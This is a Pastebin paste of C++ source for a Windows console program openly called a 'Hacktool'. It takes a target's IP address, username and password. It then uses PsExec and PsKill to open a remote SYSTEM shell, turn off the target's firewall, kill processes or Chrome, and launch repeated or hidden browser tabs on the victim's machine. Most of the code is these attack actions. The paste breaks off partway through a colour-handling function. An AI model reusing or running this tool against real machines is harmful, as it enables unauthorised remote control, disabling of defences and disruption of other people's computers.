Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "pch.h"
- #include <iostream>
- #include <Windows.h>
- #include <string>
- #include <fstream>
- #include <vector>
- #include <cstdlib>
- #include <boost/algorithm/string.hpp>
- using namespace std;
- void CheckForTool();
- void color(char colorchar);
- void chooseoption();
- void getPstools();
- void info();
- void helpCommands();
- //declare attack functions
- void getshell();
- void openURL();
- void closeChrome();
- void closeProcess();
- void credits();
- //-------------
- struct PCinfo {
- string ip;
- string username;
- string password;
- string attackType = "getShell";
- }pc;
- void pause(char nul) {
- if (nul == 'y' || nul == 'Y')
- system("pause >nul");
- else
- system("pause");
- }
- void clear() {
- system("cls");
- }
- int main()
- {
- string title = "psexec Hacktool Version 5.0 by Ori";
- clear();
- system("mode con: cols=120 lines=30");
- system(("title " + title).c_str());
- // get data from user (computer IP, USERNAME,PASSWORD)
- clear();
- std::cout << "\n\n";
- color('w');
- std::cout << " Please enter the ";
- color('C');
- std::cout << "IP ";
- color('w');
- std::cout << "of the computer: ";
- color('C');
- cin >> pc.ip;
- std::cout << '\n';
- if (pc.ip == "install")
- CheckForTool();
- else if (pc.ip == "credits")
- credits();
- else if (pc.ip == "info")
- info();
- else if (pc.ip == "help" || pc.ip == "commands") {
- system("mode con: cols=140 lines=30");
- helpCommands();
- color('R');
- std::cout << "\n\n\n\n";
- pause('n');
- main();
- }
- // USERNAME
- color('w');
- std::cout << " Please enter the ";
- color('C');
- std::cout << "USERNAME";
- color('w');
- std::cout << " you want to hack: ";
- color('C');
- cin >> pc.username;
- std::cout << '\n';
- cin.clear();
- // password
- color('w');
- std::cout << " Please enter the ";
- color('C');
- std::cout << "PASSWORD ";
- color('w');
- std::cout << "you want to hack: ";
- color('C');
- cin >> pc.password;
- std::cout << "\n\n";
- color('G');
- std::cout << "[*] Attacking the computer: ";
- color('B');
- std::cout << pc.ip;
- color('G');
- std::cout << " With the username: ";
- color('B');
- std::cout << pc.username;
- color('G');
- std::cout << " and the password: ";
- color('B');
- std::cout << pc.password << "\n\n\n";
- color('Y');
- pause('n');
- chooseoption();
- clear();
- std::cout << "thanks for using my tool. my channel: ori61 51\n";
- return 0;
- }
- void CheckForTool() {
- string autoDownload;
- // check if the user has psexec installed
- system("start C:\\windows\\system32\\psexec");
- clear();
- std::cout << "\n\n\n\n";
- color('Y');
- std::cout << " OH! did an error just accure?\n";
- std::cout << " if the screen above says something like: \n\n\n";
- color('G');
- std::cout << " The system cannot find the file C:\\windows\\system32\\psexec.\n\n\n";
- color('Y');
- std::cout << " you can either download the required tools manually, or i can do it for you.\n";
- std::cout << " if you want me to auto-download it for you, type ";
- color('C');
- std::cout << "yes and press ENTER.";
- color('Y');
- std::cout << " or type ";
- color('C');
- std::cout << "NO and press ENTER\n";
- color('Y');
- std::cout << " OR! if you already have PSTOOLS installed or i have already downloaded it for you, say ";
- color('G');
- std::cout << "HaveIt\n\n\n";
- std::cout << " ";
- color('R');
- cin >> autoDownload;
- if (autoDownload == "yes" || autoDownload == "y" || autoDownload == "YES" || autoDownload == "Y") {
- color('C');
- getPstools();
- }
- else if (autoDownload == "HaveIt" || autoDownload == "haveit" || autoDownload == "ihaveit") {
- main();
- }
- else if (autoDownload == "N" || autoDownload == "n" || autoDownload == "no" || autoDownload == "NO") {
- color('Y');
- std::cout << "OK. then please go to:\n";
- color('C');
- std::cout << "\n\n";
- std::cout << " https://docs.microsoft.com/en-us/sysinternals/downloads/pstools \n\n";
- color('Y');
- std::cout << " and download PsTools.\n";
- std::cout << " Then, move ALL of the files in the .ZIP folder to C:\\windows\\system32 \n";
- std::cout << " Have you done that? GREAT! now you can proceed.\n\n\n\n\n\n\n\n\n\n";
- pause('n');
- pause('n');
- main();
- }
- else {
- main();
- }
- }
- void getPstools() {
- system("cd C:\\windows\\system32 && curl https://download.sysinternals.com/files/PSTools.zip > pstools.zip && tar -xf pstools.zip");
- std::cout << "\n\n";
- color('Y');
- std::cout << " I am done downloading and installing. i will now redirect you.\n\n\n\n";
- pause('n');
- main();
- }
- void chooseoption() {
- clear();
- system("title Please choose the attack type");
- string todo;
- std::cout << "\n\n";
- color('Y');
- std::cout << " What action do you want to perform? \n\n";
- color('P');
- std::cout << " -------------------------------------------------------------------------------------\n";
- std::cout << " = =\n";
- std::cout << " = "; color('B'); cout << "[1]"; color('R'); cout << " Open shell on the remote machine"; color('P'); cout << " =\n";
- std::cout << " = "; color('B'); cout << "[2]"; color('R'); cout << " Open a specific URL on the remote machine"; color('P'); cout << " =\n";
- std::cout << " = "; color('B'); cout << "[3]"; color('R'); cout << " Close a specific process on the remote machine"; color('P'); cout << " =\n";
- std::cout << " = "; color('B'); cout << "[4]"; color('R'); cout << " Close all chrome processes on the remote machine"; color('P'); cout << " =\n";
- //std::cout << " = "; color('B'); cout << "[5]"; color('R'); cout << " Scan for a vulnerable devices on the network"; color('P'); cout << " =\n";
- std::cout << " = "; color('B'); cout << "[98]"; color('R'); cout << " See the credits"; color('P'); cout << " =\n";
- std::cout << " = "; color('B'); cout << "[99]"; color('R'); cout << " Install the required tools"; color('P'); cout << " =\n";
- std::cout << " = "; color('B'); cout << "[0]"; color('R'); cout << " Exit the tool"; color('P'); cout << " =\n";
- std::cout << " = =\n";
- std::cout << " -------------------------------------------------------------------------------------\n\n\n";
- while (true) {
- color('C');
- std::cout << " HackItTool~# ";
- color('B');
- getline(cin, todo);
- vector<string> aTodo(10);
- boost::split(aTodo, todo, [](char c) {return c == ' '; });
- if (todo == "1")
- getshell();
- else if (todo == "2")
- openURL();
- else if (todo == "3")
- closeProcess();
- else if (todo == "4")
- closeChrome();
- else if (todo == "98" || todo == "credits" || todo == "CREDITS" || todo == "credit")
- credits();
- else if (todo == "0" || todo == "EXIT" || todo == "exit")
- exit(0);
- else if (todo == "99" || todo == "install" || todo == "INSTALL")
- CheckForTool();
- else if (todo == "IP" || todo == "ip" || todo == "show ip") {
- color('G');
- std::cout << " Currently, your IP is: ";
- color('R');
- std::cout << pc.ip << std::endl;
- }
- else if (todo == "password" || todo == "show password" || todo == "PASSWORD" || todo == "pass" || todo == "show pass") {
- color('G');
- std::cout << " Currently, your password is: ";
- color('R');
- std::cout << pc.password << std::endl;
- }
- else if (todo == "username" || todo == "show username" || todo == "USERNAME") {
- color('G');
- std::cout << " Currently, your username is: ";
- color('R');
- std::cout << pc.username << std::endl;
- }
- else if (todo == "AttackType" || todo == "attackType" || todo == "show attackType" || todo == "show attacktype") {
- color('G');
- std::cout << " Currently, your attack type is: ";
- color('R');
- std::cout << pc.attackType << std::endl;
- }
- else if (todo == "attack" || todo == "ATTACK" || todo == "run") {
- if (pc.attackType == "getShell" || pc.attackType == "getshell" || pc.attackType == "GetShell" || pc.attackType == "GETSHELL")
- getshell();
- else if (pc.attackType == "closeChrome" || pc.attackType == "closechrome" || pc.attackType == "CloseChrome" || pc.attackType == "CLOSECHROME")
- closeChrome();
- else if (pc.attackType == "openURL" || pc.attackType == "OpenUrl" || pc.attackType == "openurl" || pc.attackType == "OPENURL" || pc.attackType == "openUrl")
- openURL();
- else if (pc.attackType == "closeProcess" || pc.attackType == "CloseProcess" || pc.attackType == "CLOSEPROCESS" || pc.attackType == "closeprocess" || pc.attackType == "Closeprocess")
- closeProcess();
- else {
- color('Y');
- cout << " unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
- }
- }
- else if (todo == "show options" || todo == "Show Options" || todo == "Show options" || todo == "options" || todo == "Options") {
- helpCommands();
- }
- else if (todo == "DisableFirewall" || todo == "disableFirewall" || todo == "disablefirewall") {
- color('G');
- system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c NetSh Advfirewall set allprofiles state off").c_str());
- }
- else if (todo == "EnableFirewall" || todo == "enableFirewall" || todo == "enablefirewall") {
- color('G');
- system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c NetSh Advfirewall set allprofiles state on").c_str());
- }
- else if (aTodo[0] == "import") {
- string fileName;
- if (aTodo.size() != 2) {
- color('G');
- std::cout << "\n\n Usage: ";
- color('P');
- std::cout << " import "; color('G'); std::cout << "[filename"; color('R'); cout << ".txt"; color('G'); cout << "]\n\n";
- }
- else {
- fileName = aTodo[1];
- std::ifstream userConfig(fileName);
- string ip;
- string username;
- string password;
- string AttackType;
- string CurrentStatus;
- vector<string> IPs(150);
- vector<string> Usernames(150);
- vector<string> Passwords(150);
- vector<string> AttackTypes(150);
- while (!userConfig) {
- color('R');
- std::cout << " ERROR FILE NOT FOUND. CREATING FILE...\n";
- std::cout << " Please make sure that your .txt file is always on the same folder as your .exe file.\n\n";
- color('C');
- ofstream createFile;
- createFile.open(fileName);
- createFile << "saves:\n";
- createFile << "[ip] [username] [password] [attackType openURL, getShell, closeChrome, closeProcess]\n";
- createFile << "10.0.0.138 user p@ssw0rd openURL\n\n";
- createFile << "urls:\n";
- createFile << "[name] [URL]\n";
- createFile << "OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/ \n\n";
- createFile.close();
- break;
- }
- int i = 0;
- while (userConfig >> CurrentStatus) {
- if (CurrentStatus == "saves:") {
- while (userConfig >> ip >> username >> password >> AttackType) {
- if (ip == "urls:" || username == "urls:" || password == "urls:" || AttackType == "urls:")
- break;
- else {
- IPs[i] = ip;
- Usernames[i] = username;
- Passwords[i] = password;
- AttackTypes[i] = AttackType;
- i++;
- }
- }
- break;
- }
- }
- userConfig.close();
- if (i >= 2) {
- int numOfSave = 0;
- color('r');
- std::cout << " Listing options...\n\n\n";
- color('P');
- std::cout << " --------------------------------------------------------------------\n";
- for (int c = 0; c < i; c++) {
- color('P');
- std::cout << " =";
- color('G');
- std::cout << " #" << c+1 << " ........ " << IPs[c] << ", " << Usernames[c] << ", " << Passwords[c] << ", " << AttackTypes[c] << "\n";
- }
- color('P');
- std::cout << " --------------------------------------------------------------------\n";
- color('Y');
- std::cout << " HackItTool~# ";
- color('B');
- cin >> numOfSave;
- numOfSave -= 1; // this is equal to numOfSave = numOfSave - 1;
- if (numOfSave > i) {
- color('R');
- std::cout << " The option: " << numOfSave << " Is not valid. please enter the command again.\n\n";
- pause('n');
- chooseoption();
- }
- //std::cout << "ok. the creds for the number you chose are: " << IPs[numOfSave] << ',' << Usernames[numOfSave] << ',' << Passwords[numOfSave] << ',' << AttackTypes[numOfSave] << std::endl;
- pc.ip = IPs[numOfSave];
- pc.username = Usernames[numOfSave];
- pc.password = Passwords[numOfSave];
- pc.attackType = AttackTypes[numOfSave];
- }
- else {
- pc.ip = ip;
- pc.username = username;
- pc.password = password;
- pc.attackType = AttackType;
- }
- std::cout << "\n";
- color('Y');
- cout << " your ip is now: ";
- color('R');
- cout << pc.ip;
- color('Y');
- cout << "\n your username is now: ";
- color('R');
- cout << pc.username;
- color('Y');
- cout << "\n your password is now: ";
- color('R');
- cout << pc.password;
- color('Y');
- cout << "\n your attack type is now: ";
- color('R');
- cout << pc.attackType << "\n\n\n";
- string RunItNow;
- color('C');
- std::cout << " Would you like to run it now? (Y/n)";
- color('B');
- cin >> RunItNow;
- if (RunItNow == "Y" || RunItNow == "y" || RunItNow == "yes" || RunItNow == "YES" || RunItNow == "Yes") {
- if (pc.attackType == "getShell" || pc.attackType == "getshell" || pc.attackType == "GetShell" || pc.attackType == "GETSHELL")
- getshell();
- else if (pc.attackType == "closeChrome" || pc.attackType == "closechrome" || pc.attackType == "CloseChrome" || pc.attackType == "CLOSECHROME")
- closeChrome();
- else if (pc.attackType == "openURL" || pc.attackType == "OpenUrl" || pc.attackType == "openurl" || pc.attackType == "OPENURL" || pc.attackType == "openUrl")
- openURL();
- else if (pc.attackType == "closeProcess" || pc.attackType == "CloseProcess" || pc.attackType == "CLOSEPROCESS" || pc.attackType == "closeprocess" || pc.attackType == "Closeprocess")
- closeProcess();
- else {
- color('Y');
- cout << " unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
- }
- }
- else {
- }
- }
- }
- else if (todo == "HELP" || todo == "help") {
- helpCommands();
- }
- else if (todo == "info" || todo == "INFO")
- info();
- else if (todo == "clear" || todo == "CLEAR") {
- cin.clear();
- chooseoption();
- }
- else if (todo == "RESTART" || todo == "restart")
- main();
- // ADDURL
- /*
- else if (aTodo[0] == "addurl" || aTodo[0] == "addURL" || aTodo[0] == "help" && aTodo[1] == "addURL" || aTodo[0] == "help" && aTodo[1] == "addurl") {
- if (aTodo.size() != 3) {
- color('R');
- std::cout << "\n Usage: addurl [name] [url] \n example:\n";
- color('G');
- std::cout << " addurl OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q" << "\n\n\n\n";
- color('C');
- pause('n');
- chooseoption();
- }
- else {
- if (!aTodo[1].empty() && !aTodo[2].empty()) {
- string name = aTodo[1];
- string URL = aTodo[2];
- string CurrentStatus;
- std::ofstream createFile;
- std::ifstream CheckFile("config.txt");
- createFile.open("config.txt", fstream::app); // open the file in append mode, so you wont override it.
- while (CheckFile >> CurrentStatus) {
- if (CurrentStatus == "urls:") {
- createFile << "\n" << name << " " << URL << " \n";
- break;
- }
- }
- createFile.close();
- color('C');
- std::cout << " Assigned the name: ";
- color('R');
- std::cout << name;
- color('C');
- std::cout << " To the URL: ";
- color('R');
- std::cout << URL << "\n";
- }
- color('C');
- }
- }
- */
- // REMOVEURL
- /*
- else if (aTodo[0] == "removeurl" || aTodo[0] == "removeURL" || aTodo[0] == "remurl" || aTodo[0] == "remURL" || aTodo[0] == "help" && aTodo[1] == "removeurl") {
- if (aTodo.size() != 3) {
- color('R');
- std::cout << " Usage: removeURL [name] [url] \n example:\n";
- color('G');
- std::cout << " removeURL OriChannel\n";
- color('Y');
- pause('n');
- chooseoption();
- }
- else {
- std::string shortcutname;
- std::string url;
- std::ifstream file("urls.txt");
- vector<string> urls(150);
- vector<string> shortcutNames(150);
- int numoflines = 0;
- while (file >> url >> shortcutname) {
- shortcutNames[numoflines] = shortcutname;
- urls[numoflines] = url;
- numoflines++;
- }
- ofstream newFile;
- newFile.open("urls.txt");
- for (int c = 0; c <= numoflines; c++) {
- if (urls[c] == aTodo[1]) {
- //dont write it to the file
- }
- else {
- newFile << urls[c] << " " << shortcutNames[c] << "\n";
- }
- }
- color('C');
- }
- }
- */
- else if (aTodo[0] == "set" || aTodo[0] == "SET") {
- if (aTodo.size() != 3) {
- color('G');
- std::cout << "\n\n Usage: \n";
- color('R');
- std::cout << " set ip [ip]\n";
- std::cout << " set username [username]\n";
- std::cout << " set password [password]\n";
- std::cout << " set attackType [type]\n\n";
- color('P');
- std::cout << " ---------------------------\n";
- std::cout << " | Attack types: |\n";
- std::cout << " | getshell |\n";
- std::cout << " | openURL |\n";
- std::cout << " | closeChrome |\n";
- std::cout << " | closeProcess |\n";
- std::cout << " ---------------------------\n\n";
- }
- else {
- if (aTodo[1] == "username" || aTodo[1] == "Username" || aTodo[1] == "USERNAME") {
- pc.username = aTodo[2];
- color('G');
- std::cout << " Your username is now set to " << pc.username << std::endl;
- }
- else if (aTodo[1] == "password" || aTodo[1] == "Password" || aTodo[1] == "PASSWORD" || aTodo[1] == "pass") {
- pc.password = aTodo[2];
- color('G');
- std::cout << " Your password is now set to " << pc.password << std::endl;
- }
- else if (aTodo[1] == "ip" || aTodo[1] == "IP") {
- pc.ip = aTodo[2];
- color('G');
- std::cout << " Your ip is now set to " << pc.ip << std::endl;
- }
- else if (aTodo[1] == "attackType" || aTodo[1] == "attacktype" || aTodo[1] == "attack"){
- if (aTodo[2] == "getShell" || aTodo[2] == "getshell" || aTodo[2] == "GetShell" || aTodo[2] == "GETSHELL")
- pc.attackType = "getShell";
- else if (aTodo[2] == "closeChrome" || aTodo[2] == "closechrome" || aTodo[2] == "CloseChrome" || aTodo[2] == "CLOSECHROME")
- pc.attackType = "closeChrome";
- else if (aTodo[2] == "openURL" || aTodo[2] == "OpenUrl" || aTodo[2] == "openurl" || aTodo[2] == "OPENURL" || aTodo[2] == "openUrl")
- pc.attackType = "openURL";
- else if (aTodo[2] == "closeProcess" || aTodo[2] == "CloseProcess" || aTodo[2] == "CLOSEPROCESS" || aTodo[2] == "closeprocess" || aTodo[2] == "Closeprocess")
- pc.attackType = "closeProcess";
- else {
- color('Y');
- cout << " unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
- }
- }
- else {
- color('R');
- std::cout << " Unkown setting " << '"' << aTodo[1] <<'"' <<". type ";
- color('G');
- std::cout << '"' << "set" << '"';
- color('R');
- std::cout << " for help.\n";
- }
- }
- }
- else {
- color('R');
- std::cout << " Unkown command. type ";
- color('G');
- std::cout << '"' << "help" << '"';
- color('R');
- std::cout << " for help.\n";
- }
- }
- pause('n');
- }
- void getshell() {
- string todo;
- string title = "psexec HackTool - get shell";
- system(("title " + title).c_str());
- clear();
- std::cout << "\n\n\n";
- color('B');
- std::cout << " Please specify the kind of shell: \n\n";
- color('Y');
- std::cout << " ----------------------------------------------------------\n";
- std::cout << " = =\n";
- std::cout << " = "; color('G'); cout << "[P] "; color('C'); cout << "use POWERSHELL"; color('Y'); cout << " = \n";
- std::cout << " = "; color('G'); cout << "[C] "; color('C'); cout << "use CMD"; color('Y'); cout << " = \n";
- std::cout << " = "; color('G'); cout << "[99] "; color('C'); cout << "Go back"; color('Y'); cout << " = \n";
- color('Y');
- std::cout << " = =\n";
- std::cout << " ----------------------------------------------------------\n\n\n";
- color('C');
- while (true) {
- std::cout << " HackItTool~# ";
- color('B');
- getline(cin, todo);
- // P key
- // P key is 0x50
- if (todo == "P" || todo == "p") {
- clear();
- color('Y');
- std::cout << " ------------------------------------------------------------------------------------------------------------\n";
- std::cout << " = =\n";
- std::cout << " = Attacking ";
- color('G');
- std::cout << pc.ip;
- color('Y');
- std::cout << " with the ";
- color('G');
- std::cout << "username: " << pc.username;
- color('Y');
- std::cout << " and the ";
- color('G');
- std::cout << "password: " << pc.password << std::endl;
- color('Y');
- std::cout << " = USING POWERSHELL =\n";
- std::cout << " = =\n";
- std::cout << " ------------------------------------------------------------------------------------------------------------\n";
- color('G');
- std::cout << "[+] Authenticating...\n";
- color('C');
- cin.clear();
- system(("psexec \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " -s powershell.exe" + " -accepteula").c_str());
- chooseoption();
- return;
- }
- // 0x43 is the C key
- else if (todo == "C" || todo == "c") {
- clear();
- color('Y');
- std::cout << " -----------------------------------------------------------------------------------------\n";
- std::cout << " = \n";
- std::cout << " = Attacking ";
- color('G');
- std::cout << pc.ip;
- color('Y');
- std::cout << " with the ";
- color('G');
- std::cout << "username: " << pc.username;
- color('Y');
- std::cout << " and the ";
- color('G');
- std::cout << "password: " << pc.password << std::endl;
- color('Y');
- std::cout << " = USING CMD =\n";
- std::cout << " = =\n";
- std::cout << " -----------------------------------------------------------------------------------------\n";
- color('G');
- std::cout << "[+] Authenticating...\n";
- color('C');
- cin.clear();
- system(("psexec \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " -s cmd.exe" + " -accepteula").c_str());
- chooseoption();
- return;
- }
- else if (todo == "back" || todo == "return" || 99) {
- chooseoption();
- }
- else {
- color('R');
- std::cout << " Please enter a valid option.\n\n";
- color('C');
- }
- Sleep(400);
- }
- return;
- }
- void openURL() {
- clear();
- system("title psexec HackTool - open URL");
- unsigned short int iNumOfTabsToOpen;
- unsigned short int iDelayBetweenStartingTabs;
- unsigned short int iDelayBeforeOpening;
- string sDelayBetweenStartingTabs;
- string sDelayBeforeOpening;
- string sIsinVisible;
- bool bIsinVisible = false;
- std::string sIncognito, AnswerIncognito, URL, sNumOfTabsToOpen;
- std::cout << "\n\n\n\n";
- vector<string> aImport(10);
- color('Y');
- std::cout << " If you want to import URLs from a text file, type"; color('R'); std::cout << " import <filename.txt>\n"; color('Y');
- std::cout << " Please enter the URL you want to be opened: ";
- color('G');
- getline(cin, URL);
- std::cout << '\n';
- boost::split(aImport, URL, [](char c) {return c == ' '; });
- if (aImport.size() > 1 && aImport[0] == "import") {
- string fileName = aImport[1];
- std::ifstream userConfig(fileName);
- string currentName;
- string currentURL;
- string CurrentStatus;
- vector<string> Names(150);
- vector<string> URLs(150);
- while (!userConfig) {
- color('R');
- std::cout << " ERROR FILE NOT FOUND. CREATING FILE...\n";
- std::cout << " Please make sure that your .txt file is always on the same folder as your .exe file.\n\n";
- color('C');
- ofstream createFile;
- createFile.open(fileName);
- createFile << "saves:\n";
- createFile << "[ip] [username] [password] [attackType openURL, getShell, closeChrome, closeProcess]\n";
- createFile << "10.0.0.138 user p@ssw0rd openURL\n\n";
- createFile << "urls:\n";
- createFile << "[name] [URL]\n";
- createFile << "OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/ \n\n";
- createFile.close();
- break;
- }
- int i = 0;
- while (userConfig >> CurrentStatus) {
- if (CurrentStatus == "urls:" || CurrentStatus == "URLS:") {
- while (userConfig >> currentName >> currentURL) {
- if (currentName == "saves:" || currentURL == "saves:")
- break;
- else {
- Names[i] = currentName;
- URLs[i] = currentURL;
- i++;
- }
- }
- break;
- }
- }
- userConfig.close();
- if (i > 1) {
- int numOfSave = 0;
- color('r');
- std::cout << " Listing options...\n\n\n";
- color('P');
- std::cout << " --------------------------------------------------------------------\n";
- for (int c = 0; c < i; c++) {
- color('P');
- std::cout << " =";
- color('G');
- std::cout << " #" << c + 1 << " ........ " << Names[c] << ", " << URLs[c] << "\n";
- }
- color('P');
- std::cout << " --------------------------------------------------------------------\n";
- color('Y');
- std::cout << " HackItTool~# ";
- color('B');
- cin >> numOfSave;
- numOfSave -= 1; // this is equal to numOfSave = numOfSave - 1;
- if (numOfSave > i) {
- color('R');
- std::cout << " The option: " << numOfSave << " Is not valid. please enter the command again.\n\n";
- pause('n');
- openURL;
- }
- URL = URLs[numOfSave];
- }
- //std::cout << " The URL is now set to: " << URLs[numOfSave] << "\n";
- cin.ignore();
- }
- color('Y');
- std::cout << " How many times do you want to open this URL? ";
- color('G');
- cin >> sNumOfTabsToOpen;
- try {
- iNumOfTabsToOpen = std::stoi(sNumOfTabsToOpen);
- }
- catch (std::invalid_argument& e) {
- std::cout << "Please enter a valid number.\n";
- cin.ignore();
- pause('y');
- openURL();
- }
- std::cout << '\n';
- color('Y');
- std::cout << " Do you want to open the tab in incognito mode? (Y/n): ";
- color('G');
- cin >> sIncognito;
- color('B');
- std::cout << '\n';
- color('Y');
- std::cout << " Would you like to make the window invisible to the user? (Y/n) ";
- color('G');
- cin >> sIsinVisible;
- if (sIsinVisible == "y" || sIsinVisible == "Y" || sIsinVisible == "yes" || sIsinVisible == "Yes")
- bIsinVisible = true;
- std::cout << '\n';
- color('Y');
- std::cout << " How much time do you want to delay before opening the URL? (in milliseconds): ";
- color('G');
- cin >> sDelayBeforeOpening;
- try {
- iDelayBeforeOpening = std::stoi(sDelayBeforeOpening);
- }
- catch (std::invalid_argument& e) {
- std::cout << "Please enter a valid number.\n";
- cin.ignore();
- pause('y');
- openURL();
- }
- std::cout << '\n';
- //-------------------------------------------------------------------------------------------
- //= START TO CHECK FOR NUMBER OF TABS TO OPEN, AND DELAY =
- //-------------------------------------------------------------------------------------------
- if (iNumOfTabsToOpen > 1 && iNumOfTabsToOpen < 3000) {
- color('Y');
- std::cout << " Please enter the time of delay between every tab opening (in milliseconds): ";
- color('G');
- cin >> sDelayBetweenStartingTabs;
- try {
- iDelayBetweenStartingTabs = std::stoi(sDelayBetweenStartingTabs);
- }
- catch (std::invalid_argument& e) {
- std::cout << "Please enter a valid number.\n";
- cin.ignore();
- pause('y');
- openURL();
- }
- if (iDelayBetweenStartingTabs < 100)
- iDelayBetweenStartingTabs = 100;
- }
- else{
- iDelayBetweenStartingTabs = 100;
- iNumOfTabsToOpen = 1;
- }
- //-------------------------------------------------------------------------------------------
- //= START TO CHECK FOR INCOGNITO MODE =
- //-------------------------------------------------------------------------------------------
- if (sIncognito == "y" || sIncognito == "Y" || sIncognito == "yes" || sIncognito == "Yes" || sIncognito == "") {
- AnswerIncognito = " -incognito";
- color('B');
- }
- else if (sIncognito == "n" || sIncognito == "N" || sIncognito == "no" || sIncognito == "No")
- AnswerIncognito = "";
- std::cout << "\n\n\n";
- color('G');
- std::cout << " [+] Opening the URL: ";
- color('R');
- std::cout << URL;
- color('G');
- std::cout << ", ";
- color('R');
- std::cout << iNumOfTabsToOpen;
- color('G');
- std::cout << " times.\n";
- if (bIsinVisible) {
- Sleep(iDelayBeforeOpening);
- for (int c = 0; c < iNumOfTabsToOpen; c++) {
- system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c start chrome " + URL + AnswerIncognito).c_str());
- Sleep(iDelayBetweenStartingTabs);
- }
- }
- else {
- Sleep(iDelayBeforeOpening);
- for (int c = 0; c < iNumOfTabsToOpen; c++) {
- system(("psexec -i -d \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + ' ' + '"' + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" + '"' + ' ' + '"' + URL + '"' + AnswerIncognito + " -accepteula").c_str());
- Sleep(iDelayBetweenStartingTabs);
- }
- }
- color('Y');
- std::cout << "\n\n\n";
- pause('y');
- chooseoption();
- return;
- }
- void closeChrome() {
- clear();
- string title = "psexec HackTool - close chrome";
- system(("title " + title).c_str());
- color('Y');
- std::cout << " ---------------------------------------------------------------------------------\n";
- std::cout << " = \n";
- std::cout << " = Attacking ";
- color('G');
- std::cout << pc.ip;
- color('w');
- std::cout << " with the ";
- color('G');
- std::cout << "username: " << pc.username;
- color('w');
- std::cout << " and the ";
- color('G');
- std::cout << "password: " << pc.password << std::endl;
- color('Y');
- std::cout << " = Closing all of its Chrome tabs. \n";
- std::cout << " - -\n";
- std::cout << " ---------------------------------------------------------------------------------\n";
- color('C');
- std::cout << "[+] Authenticating...\n";
- color('w');
- system(("pskill \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " chrome.exe " + " -accepteula").c_str());
- color('R');
- std::cout << "DONE\n";
- color('w');
- pause('y');
- cin.ignore();
- chooseoption();
- return;
- }
- void closeProcess() {
- clear();
- system("title psexec HackTool - close process");
- string ProcessToClose;
- std::cout << "\n\n\n";
- color('Y');
- std::cout << " Please specify the process name you want to close (type back to go back): ";
- color('C');
- cin.clear();
- cin >> ProcessToClose;
- if (ProcessToClose == "back" || ProcessToClose == "BACK")
- chooseoption();
- color('Y');
- std::cout << " -------------------------------------------------------------------------------------\n";
- std::cout << " = \n";
- std::cout << " = Attacking ";
- color('G');
- std::cout << pc.ip;
- color('Y');
- std::cout << " with the ";
- color('G');
- std::cout << "username: " << pc.username;
- color('Y');
- std::cout << " and the ";
- color('G');
- std::cout << "password: " << pc.password << std::endl;
- color('Y');
- std::cout << " = Closing The process: ";
- color('C');
- std::cout << ProcessToClose << '\n';
- color('Y');
- std::cout << " = \n";
- std::cout << " -------------------------------------------------------------------------------------\n";
- color('C');
- std::cout << "[+] Authenticating...\n";
- color('C');
- //system(("psexec -s -d \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c taskkill /F /IM " + ProcessToClose + " /T -accepteula").c_str());
- system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c taskkill /F /IM " + ProcessToClose).c_str());
- color('Y');
- std::cout << "DONE\n";
- pause('y');
- cin.ignore();
- chooseoption();
- return;
- }
- void credits() {
- system("title Made by Ori");
- clear();
- std::cout << "\n\n\n";
- color('C');
- std::cout << " =======================================================\n";
- color('C');
- std::cout << " | |\n";
- std::cout << " |"; color('R'); cout << " This hack tool was made by Ori shamir"; color('C'); cout << " |\n"; Sleep(2300);
- std::cout << " | |\n"; Sleep(200);
- std::cout << " |"; color('B'); cout << " It was programmed using C++"; color('C'); cout << " |\n"; Sleep(2300);
- std::cout << " | |\n"; Sleep(200);
- std::cout << " |"; color('Y'); cout << " I hope you will enjoy my creation."; color('C'); cout << " |\n"; Sleep(2300);
- std::cout << " | |\n"; Sleep(200);
- std::cout << " |"; color('P'); cout << " Please follow my youtube channel."; color('C'); cout << " |\n"; Sleep(2300);
- std::cout << " | |\n"; Sleep(200);
- std::cout << " |"; color('G'); cout << " I will open my youtube channel for you."; color('C'); cout << " |\n";
- std::cout << " | |\n";
- std::cout << " =======================================================\n\n\n";
- Sleep(2000);
- system("start chrome https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/");
- std::cout << "\n\n\n";
- color('w');
- pause('n');
- chooseoption();
- }
- void color(char colorchar) {
- switch (colorchar) {
- case 'B':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 9);
- break;
- case 'b':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 1);
- break;
- case 'y':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 6);
- break;
- case 'Y':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14);
- break;
- case 'c':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 3);
- break;
- case 'C':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); //bright cyan
- break;
- case 'r':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 4);
- break;
- case 'R':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
- break;
- case 'p':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 5);
- break;
- case 'P':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 13);
- break;
- case 'g':
- SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
